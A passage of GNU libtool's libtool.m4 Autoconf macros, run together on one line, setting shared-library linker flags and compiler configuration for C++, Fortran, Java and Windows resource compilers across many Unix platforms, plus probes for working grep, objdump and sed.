lcc*) # Lucid # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; solaris*) case $cc_basename in CC*) # Sun C++ 4.2, 5.x and Centerline C++ _LT_TAGVAR(archive_cmds_need_lc,$1)=yes _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs' _LT_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no case $host_os in solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; *) # The compiler driver will combine and reorder linker options, # but understands `-z linker_flag'. # Supported since Solaris 2.6 (maybe 2.5.1?) _LT_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;; esac _LT_TAGVAR(link_all_deplibs, $1)=yes output_verbose_link_cmd='echo' # Archives containing C++ object files must be created using # "CC -xar", where "CC" is the Sun C++ compiler. This is # necessary to make sure instantiated templates are included # in the archive. _LT_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' ;; gcx*) # Green Hills C++ Compiler _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' # The C++ compiler must be used to create the archive. _LT_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs' ;; *) # GNU C++ compiler with Solaris linker if test "$GXX" = yes && test "$with_gnu_ld" = no; then _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs' if $CC --version | $GREP -v '^2\.7' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"' else # g++ 2.7 appears to require `-G' NOT `-shared' on this # platform. _LT_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. output_verbose_link_cmd='$CC -G $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"' fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir' case $host_os in solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; *) _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' ;; esac fi ;; esac ;; sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*) _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text' _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no runpath_var='LD_RUN_PATH' case $cc_basename in CC*) _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' ;; esac ;; sysv5* | sco3.2v5* | sco5v6*) # Note: We can NOT use -z defs as we might desire, because we do not # link with -lc, and that would cause any symbols used from libc to # always be unresolved, which means just about no library would # ever link correctly. If we're not using GNU ld we use -z text # though, which does catch some bad symbols but isn't as heavy-handed # as -z defs. _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text' _LT_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs' _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R,$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=':' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport' runpath_var='LD_RUN_PATH' case $cc_basename in CC*) _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' ;; esac ;; tandem*) case $cc_basename in NCC*) # NonStop-UX NCC 3.20 # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; vxworks*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac AC_MSG_RESULT([$_LT_TAGVAR(ld_shlibs, $1)]) test "$_LT_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no _LT_TAGVAR(GCC, $1)="$GXX" _LT_TAGVAR(LD, $1)="$LD" ## CAVEAT EMPTOR: ## There is no encapsulation within the following macros, do not change ## the running order or otherwise move them around unless you know exactly ## what you are doing... _LT_SYS_HIDDEN_LIBDEPS($1) _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_SYS_DYNAMIC_LINKER($1) _LT_LINKER_HARDCODE_LIBPATH($1) _LT_CONFIG($1) fi # test -n "$compiler" CC=$lt_save_CC LDCXX=$LD LD=$lt_save_LD GCC=$lt_save_GCC with_gnu_ld=$lt_save_with_gnu_ld lt_cv_path_LDCXX=$lt_cv_path_LD lt_cv_path_LD=$lt_save_path_LD lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld fi # test "$_lt_caught_CXX_error" != yes AC_LANG_POP ])# _LT_LANG_CXX_CONFIG # _LT_SYS_HIDDEN_LIBDEPS([TAGNAME]) # --------------------------------- # Figure out "hidden" library dependencies from verbose # compiler output when linking a shared library. # Parse the compiler output and extract the necessary # objects, libraries and library flags. m4_defun([_LT_SYS_HIDDEN_LIBDEPS], [m4_require([_LT_FILEUTILS_DEFAULTS])dnl # Dependencies to place before and after the object being linked: _LT_TAGVAR(predep_objects, $1)= _LT_TAGVAR(postdep_objects, $1)= _LT_TAGVAR(predeps, $1)= _LT_TAGVAR(postdeps, $1)= _LT_TAGVAR(compiler_lib_search_path, $1)= dnl we can't use the lt_simple_compile_test_code here, dnl because it contains code intended for an executable, dnl not a library. It's possible we should let each dnl tag define a new lt_????_link_test_code variable, dnl but it's only used here... m4_if([$1], [], [cat > conftest.$ac_ext <<_LT_EOF int a; void foo (void) { a = 0; } _LT_EOF ], [$1], [CXX], [cat > conftest.$ac_ext <<_LT_EOF class Foo { public: Foo (void) { a = 0; } private: int a; }; _LT_EOF ], [$1], [F77], [cat > conftest.$ac_ext <<_LT_EOF subroutine foo implicit none integer*4 a a=0 return end _LT_EOF ], [$1], [FC], [cat > conftest.$ac_ext <<_LT_EOF subroutine foo implicit none integer a a=0 return end _LT_EOF ], [$1], [GCJ], [cat > conftest.$ac_ext <<_LT_EOF public class foo { private int a; public void bar (void) { a = 0; } }; _LT_EOF ]) dnl Parse the compiler output and extract the necessary dnl objects, libraries and library flags. if AC_TRY_EVAL(ac_compile); then # Parse the compiler output and extract the necessary # objects, libraries and library flags. # Sentinel used to keep track of whether or not we are before # the conftest object file. pre_test_object_deps_done=no for p in `eval "$output_verbose_link_cmd"`; do case $p in -L* | -R* | -l*) # Some compilers place space between "-{L,R}" and the path. # Remove the space. if test $p = "-L" || test $p = "-R"; then prev=$p continue else prev= fi if test "$pre_test_object_deps_done" = no; then case $p in -L* | -R*) # Internal compiler library paths should come after those # provided the user. The postdeps already come after the # user supplied libs so there is no need to process them. if test -z "$_LT_TAGVAR(compiler_lib_search_path, $1)"; then _LT_TAGVAR(compiler_lib_search_path, $1)="${prev}${p}" else _LT_TAGVAR(compiler_lib_search_path, $1)="${_LT_TAGVAR(compiler_lib_search_path, $1)} ${prev}${p}" fi ;; # The "-l" case would never come before the object being # linked, so don't bother handling this case. esac else if test -z "$_LT_TAGVAR(postdeps, $1)"; then _LT_TAGVAR(postdeps, $1)="${prev}${p}" else _LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} ${prev}${p}" fi fi ;; *.$objext) # This assumes that the test object file only shows up # once in the compiler output. if test "$p" = "conftest.$objext"; then pre_test_object_deps_done=yes continue fi if test "$pre_test_object_deps_done" = no; then if test -z "$_LT_TAGVAR(predep_objects, $1)"; then _LT_TAGVAR(predep_objects, $1)="$p" else _LT_TAGVAR(predep_objects, $1)="$_LT_TAGVAR(predep_objects, $1) $p" fi else if test -z "$_LT_TAGVAR(postdep_objects, $1)"; then _LT_TAGVAR(postdep_objects, $1)="$p" else _LT_TAGVAR(postdep_objects, $1)="$_LT_TAGVAR(postdep_objects, $1) $p" fi fi ;; *) ;; # Ignore the rest. esac done # Clean up. rm -f a.out a.exe else echo "libtool.m4: error: problem compiling $1 test program" fi $RM -f confest.$objext # PORTME: override above test on systems where it is broken m4_if([$1], [CXX], [case $host_os in interix[[3-9]]*) # Interix 3.5 installs completely hosed .la files for C++, so rather than # hack all around it, let's just trust "g++" to DTRT. _LT_TAGVAR(predep_objects,$1)= _LT_TAGVAR(postdep_objects,$1)= _LT_TAGVAR(postdeps,$1)= ;; linux*) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C++ 5.9 # The more standards-conforming stlport4 library is # incompatible with the Cstd library. Avoid specifying # it if it's in CXXFLAGS. Ignore libCrun as # -library=stlport4 depends on it. case " $CXX $CXXFLAGS " in *" -library=stlport4 "*) solaris_use_stlport4=yes ;; esac if test "$solaris_use_stlport4" != yes; then _LT_TAGVAR(postdeps,$1)='-library=Cstd -library=Crun' fi ;; esac ;; solaris*) case $cc_basename in CC*) # The more standards-conforming stlport4 library is # incompatible with the Cstd library. Avoid specifying # it if it's in CXXFLAGS. Ignore libCrun as # -library=stlport4 depends on it. case " $CXX $CXXFLAGS " in *" -library=stlport4 "*) solaris_use_stlport4=yes ;; esac # Adding this requires a known-good setup of shared libraries for # Sun compiler versions before 5.6, else PIC objects from an old # archive will be linked into the output, leading to subtle bugs. if test "$solaris_use_stlport4" != yes; then _LT_TAGVAR(postdeps,$1)='-library=Cstd -library=Crun' fi ;; esac ;; esac ]) case " $_LT_TAGVAR(postdeps, $1) " in *" -lc "*) _LT_TAGVAR(archive_cmds_need_lc, $1)=no ;; esac _LT_TAGVAR(compiler_lib_search_dirs, $1)= if test -n "${_LT_TAGVAR(compiler_lib_search_path, $1)}"; then _LT_TAGVAR(compiler_lib_search_dirs, $1)=`echo " ${_LT_TAGVAR(compiler_lib_search_path, $1)}" | ${SED} -e 's! -L! !g' -e 's!^ !!'` fi _LT_TAGDECL([], [compiler_lib_search_dirs], [1], [The directories searched by this compiler when creating a shared library]) _LT_TAGDECL([], [predep_objects], [1], [Dependencies to place before and after the objects being linked to create a shared library]) _LT_TAGDECL([], [postdep_objects], [1]) _LT_TAGDECL([], [predeps], [1]) _LT_TAGDECL([], [postdeps], [1]) _LT_TAGDECL([], [compiler_lib_search_path], [1], [The library search path used internally by the compiler when linking a shared library]) ])# _LT_SYS_HIDDEN_LIBDEPS # _LT_PROG_F77 # ------------ # Since AC_PROG_F77 is broken, in that it returns the empty string # if there is no fortran compiler, we have our own version here. m4_defun([_LT_PROG_F77], [ pushdef([AC_MSG_ERROR], [_lt_disable_F77=yes]) AC_PROG_F77 if test -z "$F77" || test "X$F77" = "Xno"; then _lt_disable_F77=yes fi popdef([AC_MSG_ERROR]) ])# _LT_PROG_F77 dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([_LT_PROG_F77], []) # _LT_LANG_F77_CONFIG([TAG]) # -------------------------- # Ensure that the configuration variables for a Fortran 77 compiler are # suitably defined. These variables are subsequently used by _LT_CONFIG # to write the compiler configuration to `libtool'. m4_defun([_LT_LANG_F77_CONFIG], [AC_REQUIRE([_LT_PROG_F77])dnl AC_LANG_PUSH(Fortran 77) _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(allow_undefined_flag, $1)= _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(archive_expsym_cmds, $1)= _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= _LT_TAGVAR(hardcode_libdir_separator, $1)= _LT_TAGVAR(hardcode_minus_L, $1)=no _LT_TAGVAR(hardcode_automatic, $1)=no _LT_TAGVAR(inherit_rpath, $1)=no _LT_TAGVAR(module_cmds, $1)= _LT_TAGVAR(module_expsym_cmds, $1)= _LT_TAGVAR(link_all_deplibs, $1)=unknown _LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds _LT_TAGVAR(no_undefined_flag, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no # Source file extension for f77 test sources. ac_ext=f # Object file extension for compiled f77 test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # No sense in running all these tests if we already determined that # the F77 compiler isn't working. Some variables (like enable_shared) # are currently assumed to apply to all compilers on this platform, # and will be corrupted by setting them based on a non-working compiler. if test "$_lt_disable_F77" != yes; then # Code to be used in simple compile tests lt_simple_compile_test_code="\ subroutine t return end " # Code to be used in simple link tests lt_simple_link_test_code="\ program t end " # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC="$CC" lt_save_GCC=$GCC CC=${F77-"f77"} compiler=$CC _LT_TAGVAR(compiler, $1)=$CC _LT_CC_BASENAME([$compiler]) GCC=$G77 if test -n "$compiler"; then AC_MSG_CHECKING([if libtool supports shared libraries]) AC_MSG_RESULT([$can_build_shared]) AC_MSG_CHECKING([whether to build shared libraries]) test "$can_build_shared" = "no" && enable_shared=no # On AIX, shared libraries and static libraries use the same namespace, and # are all built from PIC. case $host_os in aix3*) test "$enable_shared" = yes && enable_static=no if test -n "$RANLIB"; then archive_cmds="$archive_cmds~\$RANLIB \$lib" postinstall_cmds='$RANLIB $lib' fi ;; aix[[4-9]]*) if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then test "$enable_shared" = yes && enable_static=no fi ;; esac AC_MSG_RESULT([$enable_shared]) AC_MSG_CHECKING([whether to build static libraries]) # Make sure either enable_shared or enable_static is yes. test "$enable_shared" = yes || enable_static=yes AC_MSG_RESULT([$enable_static]) _LT_TAGVAR(GCC, $1)="$G77" _LT_TAGVAR(LD, $1)="$LD" ## CAVEAT EMPTOR: ## There is no encapsulation within the following macros, do not change ## the running order or otherwise move them around unless you know exactly ## what you are doing... _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_SYS_DYNAMIC_LINKER($1) _LT_LINKER_HARDCODE_LIBPATH($1) _LT_CONFIG($1) fi # test -n "$compiler" GCC=$lt_save_GCC CC="$lt_save_CC" fi # test "$_lt_disable_F77" != yes AC_LANG_POP ])# _LT_LANG_F77_CONFIG # _LT_PROG_FC # ----------- # Since AC_PROG_FC is broken, in that it returns the empty string # if there is no fortran compiler, we have our own version here. m4_defun([_LT_PROG_FC], [ pushdef([AC_MSG_ERROR], [_lt_disable_FC=yes]) AC_PROG_FC if test -z "$FC" || test "X$FC" = "Xno"; then _lt_disable_FC=yes fi popdef([AC_MSG_ERROR]) ])# _LT_PROG_FC dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([_LT_PROG_FC], []) # _LT_LANG_FC_CONFIG([TAG]) # ------------------------- # Ensure that the configuration variables for a Fortran compiler are # suitably defined. These variables are subsequently used by _LT_CONFIG # to write the compiler configuration to `libtool'. m4_defun([_LT_LANG_FC_CONFIG], [AC_REQUIRE([_LT_PROG_FC])dnl AC_LANG_PUSH(Fortran) _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(allow_undefined_flag, $1)= _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(archive_expsym_cmds, $1)= _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= _LT_TAGVAR(hardcode_libdir_separator, $1)= _LT_TAGVAR(hardcode_minus_L, $1)=no _LT_TAGVAR(hardcode_automatic, $1)=no _LT_TAGVAR(inherit_rpath, $1)=no _LT_TAGVAR(module_cmds, $1)= _LT_TAGVAR(module_expsym_cmds, $1)= _LT_TAGVAR(link_all_deplibs, $1)=unknown _LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds _LT_TAGVAR(no_undefined_flag, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no # Source file extension for fc test sources. ac_ext=${ac_fc_srcext-f} # Object file extension for compiled fc test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # No sense in running all these tests if we already determined that # the FC compiler isn't working. Some variables (like enable_shared) # are currently assumed to apply to all compilers on this platform, # and will be corrupted by setting them based on a non-working compiler. if test "$_lt_disable_FC" != yes; then # Code to be used in simple compile tests lt_simple_compile_test_code="\ subroutine t return end " # Code to be used in simple link tests lt_simple_link_test_code="\ program t end " # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC="$CC" lt_save_GCC=$GCC CC=${FC-"f95"} compiler=$CC GCC=$ac_cv_fc_compiler_gnu _LT_TAGVAR(compiler, $1)=$CC _LT_CC_BASENAME([$compiler]) if test -n "$compiler"; then AC_MSG_CHECKING([if libtool supports shared libraries]) AC_MSG_RESULT([$can_build_shared]) AC_MSG_CHECKING([whether to build shared libraries]) test "$can_build_shared" = "no" && enable_shared=no # On AIX, shared libraries and static libraries use the same namespace, and # are all built from PIC. case $host_os in aix3*) test "$enable_shared" = yes && enable_static=no if test -n "$RANLIB"; then archive_cmds="$archive_cmds~\$RANLIB \$lib" postinstall_cmds='$RANLIB $lib' fi ;; aix[[4-9]]*) if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then test "$enable_shared" = yes && enable_static=no fi ;; esac AC_MSG_RESULT([$enable_shared]) AC_MSG_CHECKING([whether to build static libraries]) # Make sure either enable_shared or enable_static is yes. test "$enable_shared" = yes || enable_static=yes AC_MSG_RESULT([$enable_static]) _LT_TAGVAR(GCC, $1)="$ac_cv_fc_compiler_gnu" _LT_TAGVAR(LD, $1)="$LD" ## CAVEAT EMPTOR: ## There is no encapsulation within the following macros, do not change ## the running order or otherwise move them around unless you know exactly ## what you are doing... _LT_SYS_HIDDEN_LIBDEPS($1) _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_SYS_DYNAMIC_LINKER($1) _LT_LINKER_HARDCODE_LIBPATH($1) _LT_CONFIG($1) fi # test -n "$compiler" GCC=$lt_save_GCC CC="$lt_save_CC" fi # test "$_lt_disable_FC" != yes AC_LANG_POP ])# _LT_LANG_FC_CONFIG # _LT_LANG_GCJ_CONFIG([TAG]) # -------------------------- # Ensure that the configuration variables for the GNU Java Compiler compiler # are suitably defined. These variables are subsequently used by _LT_CONFIG # to write the compiler configuration to `libtool'. m4_defun([_LT_LANG_GCJ_CONFIG], [AC_REQUIRE([LT_PROG_GCJ])dnl AC_LANG_SAVE # Source file extension for Java test sources. ac_ext=java # Object file extension for compiled Java test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # Code to be used in simple compile tests lt_simple_compile_test_code="class foo {}" # Code to be used in simple link tests lt_simple_link_test_code='public class conftest { public static void main(String[[]] argv) {}; }' # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC="$CC" lt_save_GCC=$GCC GCC=yes CC=${GCJ-"gcj"} compiler=$CC _LT_TAGVAR(compiler, $1)=$CC _LT_TAGVAR(LD, $1)="$LD" _LT_CC_BASENAME([$compiler]) # GCJ did not exist at the time GCC didn't implicitly link libc in. _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds if test -n "$compiler"; then _LT_COMPILER_NO_RTTI($1) _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_LINKER_HARDCODE_LIBPATH($1) _LT_CONFIG($1) fi AC_LANG_RESTORE GCC=$lt_save_GCC CC="$lt_save_CC" ])# _LT_LANG_GCJ_CONFIG # _LT_LANG_RC_CONFIG([TAG]) # ------------------------- # Ensure that the configuration variables for the Windows resource compiler # are suitably defined. These variables are subsequently used by _LT_CONFIG # to write the compiler configuration to `libtool'. m4_defun([_LT_LANG_RC_CONFIG], [AC_REQUIRE([LT_PROG_RC])dnl AC_LANG_SAVE # Source file extension for RC test sources. ac_ext=rc # Object file extension for compiled RC test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # Code to be used in simple compile tests lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }' # Code to be used in simple link tests lt_simple_link_test_code="$lt_simple_compile_test_code" # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC="$CC" lt_save_GCC=$GCC GCC= CC=${RC-"windres"} compiler=$CC _LT_TAGVAR(compiler, $1)=$CC _LT_CC_BASENAME([$compiler]) _LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes if test -n "$compiler"; then : _LT_CONFIG($1) fi GCC=$lt_save_GCC AC_LANG_RESTORE CC="$lt_save_CC" ])# _LT_LANG_RC_CONFIG # LT_PROG_GCJ # ----------- AC_DEFUN([LT_PROG_GCJ], [m4_ifdef([AC_PROG_GCJ], [AC_PROG_GCJ], [m4_ifdef([A][M_PROG_GCJ], [A][M_PROG_GCJ], [AC_CHECK_TOOL(GCJ, gcj,) test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g -O2" AC_SUBST(GCJFLAGS)])])[]dnl ]) # Old name: AU_ALIAS([LT_AC_PROG_GCJ], [LT_PROG_GCJ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([LT_AC_PROG_GCJ], []) # LT_PROG_RC # ---------- AC_DEFUN([LT_PROG_RC], [AC_CHECK_TOOL(RC, windres,) ]) # Old name: AU_ALIAS([LT_AC_PROG_RC], [LT_PROG_RC]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([LT_AC_PROG_RC], []) # _LT_DECL_EGREP # -------------- # If we don't have a new enough Autoconf to choose the best grep # available, choose the one first in the user's PATH. m4_defun([_LT_DECL_EGREP], [AC_REQUIRE([AC_PROG_EGREP])dnl AC_REQUIRE([AC_PROG_FGREP])dnl test -z "$GREP" && GREP=grep _LT_DECL([], [GREP], [1], [A grep program that handles long lines]) _LT_DECL([], [EGREP], [1], [An ERE matcher]) _LT_DECL([], [FGREP], [1], [A literal string matcher]) dnl Non-bleeding-edge autoconf doesn't subst GREP, so do it here too AC_SUBST([GREP]) ]) # _LT_DECL_OBJDUMP # -------------- # If we don't have a new enough Autoconf to choose the best objdump # available, choose the one first in the user's PATH. m4_defun([_LT_DECL_OBJDUMP], [AC_CHECK_TOOL(OBJDUMP, objdump, false) test -z "$OBJDUMP" && OBJDUMP=objdump _LT_DECL([], [OBJDUMP], [1], [An object symbol dumper]) AC_SUBST([OBJDUMP]) ]) # _LT_DECL_SED # ------------ # Check for a fully-functional sed program, that truncates # as few characters as possible. Prefer GNU sed if found. m4_defun([_LT_DECL_SED], [AC_PROG_SED test -z "$SED" && SED=sed Xsed="$SED -e 1s/^X//" _LT_DECL([], [SED], [1], [A sed program that does not truncate output]) _LT_DECL([], [Xsed], ["\$SED -e 1s/^X//"], [Sed that helps us avoid accidentally triggering echo(1) options like -n]) ])# _LT_DECL_SED m4_ifndef([AC_PROG_SED], [ # NOTE: This macro has been submitted for inclusion into # # GNU Autoconf as AC_PROG_SED. When it is available in # # a released version of Autoconf we should remove this # # macro and use it instead. # m4_defun([AC_PROG_SED], [AC_MSG_CHECKING([for a sed that does not truncate output]) AC_CACHE_VAL(lt_cv_path_SED, [# Loop through the user's path and test for sed and gsed. # Then use that list of sed's as ones to test for truncation. as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for lt_ac_prog in sed gsed; do for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext" fi done done done IFS=$as_save_IFS lt_ac_max=0 lt_ac_count=0 # Add /usr/xpg4/bin/sed as it is typically found on Solaris # along with /bin/sed that truncates output. for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do test ! -f $lt_ac_sed && continue cat /dev/null > conftest.in lt_ac_count=0 echo $ECHO_N "0123456789$ECHO_C" >conftest.in # Check for GNU sed and select it if it is found. if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then lt_cv_path_SED=$lt_ac_sed break fi while true; do cat conftest.in conftest.in >conftest.tmp mv conftest.tmp conftest.in cp conftest.in conftest.nl echo >>conftest.nl $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break cmp -s conftest.out conftest.nl || break # 10000 chars as input seems more than enough test $lt_ac_count -gt 10 && break lt_ac_count=`expr $lt_ac_count + 1` if test $lt_ac_count -gt $lt_ac_max; then lt_ac_max=$lt_ac_count lt_cv_path_SED=$lt_ac_sed fi done done ]) SED=$lt_cv_path_SED AC_SUBST([SED]) AC_MSG_RESULT([$SED]) ])#AC_PROG_SED ])#m4_ifndef # Old name: AU_ALIAS([LT_AC_PROG_SED], [AC_PROG_SED]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([LT_AC_PROG_SED], []) # _LT_CHECK_SHELL_FEATURES # ------------------------ # Find out whether the shell is Bourne or XSI compatible, # or has some other useful features. m4_defun([_LT_CHECK_SHELL_FEATURES], [AC_MSG_CHECKING([whether the shell understands some XSI constructs]) # Try some XSI features xsi_shell=no ( _lt_dummy="a/b/c" test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \ = c,a/b,, \ && eval 'test $(( 1 + 1 )) -eq 2 \ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \ && xsi_shell=yes AC_MSG_RESULT([$xsi_shell]) _LT_CONFIG_LIBTOOL_INIT([xsi_shell='$xsi_shell']) AC_MSG_CHECKING([whether the shell understands 